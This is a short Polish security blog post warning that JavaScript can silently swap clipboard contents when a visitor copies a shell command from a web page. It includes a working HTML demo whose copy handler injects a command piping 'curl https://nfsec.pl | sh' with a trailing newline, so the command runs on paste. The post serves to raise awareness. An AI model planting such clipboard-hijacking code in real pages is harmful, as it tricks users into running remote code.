Niebezpieczne kopiuj / wklej z Internetu do terminala #2
Napisał: Patryk Krawaczyński
03/11/2020 w Ataki Internetowe Możliwość komentowania Niebezpieczne kopiuj / wklej z Internetu do terminala #2 została wyłączona
K
ilka lat temu dowiedzieliśmy się, że kopiowanie poleceń bezpośrednio do terminala może mieć trochę inne konsekwencję niż byśmy mogli się spodziewać. Dzisiaj nowoczesne API Javascript pozwalają witrynie internetowej w trywialny sposób zastępowanie tego, co umieścisz w schowku, bez potwierdzenia lub zgody użytkownika. Poniżej znajduje się przykład tego, jak łatwo jest wykonać ten atak:
<html> <head> <title>Kopiuj wklej demo</title> </head> <body> <p id="skopiujmnie">$ echo "Wklej mnie do terminala!"</p> <script> document.getElementById('skopiujmnie').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'echo "A jednak wykonamy \ [curl https://nfsec.pl | sh]"\n'); e.preventDefault(); }); </script> </body> </html>
Powyższy kod możemy zapisać jako plik payload.html
, wyświetlić w przeglądarce – zaznaczyć, skopiować wyświetlony tekst i wkleić do terminala. Należy zauważyć, że nie musimy nawet naciskać klawisza ENTER po wklejeniu, ponieważ ładunek kodu zawiera znak nowej linii, która to zrobi za nas.
Więcej informacji: Don’t Copy Paste Into A Shell
Ostatni komentarz :